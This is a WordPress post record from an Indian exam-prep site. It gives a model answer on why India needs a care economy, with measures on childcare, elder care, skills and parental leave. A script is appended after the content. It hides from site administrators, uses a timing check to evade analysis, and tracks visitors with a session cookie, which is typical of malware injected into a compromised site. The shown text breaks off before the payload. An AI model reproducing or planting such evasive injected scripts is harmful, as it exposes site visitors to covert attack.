{"id":1407,"date":"2024-08-28T04:43:48","date_gmt":"2024-08-28T04:43:48","guid":{"rendered":"https:\/\/iasquest.com\/?p=1407"},"modified":"2026-02-11T19:11:30","modified_gmt":"2026-02-11T19:11:30","slug":"paper-iv-gs-iii-technology-economic-development-biodiversity-environment-security-and-disaster-management-6","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/paper-iv-gs-iii-technology-economic-development-biodiversity-environment-security-and-disaster-management-6\/","title":{"rendered":"PAPER-IV GS-III: Technology, Economic Development, Biodiversity, Environment, Security and Disaster Management"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong><em>Indian Economy (issues re: planning, mobilisation of resources, growth, development, employment); Inclusive growth and issues therein<\/em><\/strong>)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em>In News: India needs to develop a care ecosystem<\/em><\/strong>\u00a0<\/p>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-1 wp-block-paragraph\" style=\"color:#d31111\"><strong>The development of a care economy is critical for the balanced development of Indian society. Do you agree with this view? Justify your answer.<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The care economy landscape includes a range of services including childcare, elderly care, long term care for highly dependent adults, domestic work, and early childhood learning.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Need for the development of care economy:<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>To overcome barriers to female economic empowerment<\/li>\n<\/ol>\n\n\n\n<ul class=\"wp-block-list\">\n<li>the double burden of balancing paid work and unpaid care work responsibilities.<\/li>\n\n\n\n<li>high cost of child and elderly care<\/li>\n\n\n\n<li>insufficient social and public infrastructure together act as a significant barrier to female economic empowerment.<\/li>\n<\/ul>\n\n\n\n<ol class=\"wp-block-list\" start=\"2\">\n<li>To bridge gender gaps in women\u2019s labour force participation.<\/li>\n<\/ol>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The burden of invisibility and undervaluation of care work&nbsp; creates economic inefficiencies and affects women\u2019s participation in the workforce, limiting their socio-economic development.<\/li>\n<\/ul>\n\n\n\n<ol class=\"wp-block-list\" start=\"3\">\n<li>To unlock a new economic segment for emerging economies, creating increased economic output and jobs in the care work services sector.<\/li>\n<\/ol>\n\n\n\n<ul class=\"wp-block-list\">\n<li>There is an increasing demand for external support in the form of hired caregivers is rising in urban and peri-urban areas.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Suggestive measures for the balanced development of Indian society:<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Increase investments <\/strong>in the establishment of affordable, and accessible childcare institutions, particularly creches, located near workplaces and work sites.<\/li>\n\n\n\n<li><strong>Formulation of guidelines<\/strong> to set minimum service and infrastructure standards for childcare centres.<\/li>\n\n\n\n<li>Growing elderly population will require a range of professional care services. <strong>Encouraging corporate social responsibility<\/strong> funders to expand elder care centres and offer home care services for elders<\/li>\n\n\n\n<li><strong>Skill training for care workers <\/strong>to equip individuals with the necessary skills.Introduce incentive mechanisms for private sector skill training institutes to introduce training modules for care services.<\/li>\n\n\n\n<li><strong>Support for parental leave policies:<\/strong> Financial support to MSMEs and Start-Ups for covering costs of maternity and paternity leave. It not only ensures a balance between employment and caregiving responsibilities for both men and women but also men to take up to participate in care responsibilities.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">Affordable and quality caregiving is not only fundamental to India\u2019s nation-building but is also the key to unleashing the full potential of human capital that Indian women possess.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>PYQ : Distinguish between \u2018care economy\u2019 and \u2018monetized economy\u2019. How can care economy be brought into monetized economy through women empowerment? 2023<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Source:<a href=\"https:\/\/www.thehindu.com\/opinion\/op-ed\/india-needs-to-develop-a-care-ecosystem\/article68572717.ece\" target=\"_blank\" rel=\"noopener\">https:\/\/www.thehindu.com\/opinion\/op-ed\/india-needs-to-develop-a-care-ecosystem\/article68572717.ece<\/a>;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/static.pib.gov.in\/WriteReadData\/specificdocs\/documents\/2024\/mar\/doc202435319501.pdf\" target=\"_blank\" rel=\"noopener\">https:\/\/static.pib.gov.in\/WriteReadData\/specificdocs\/documents\/2024\/mar\/doc202435319501.pdf<\/a><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function 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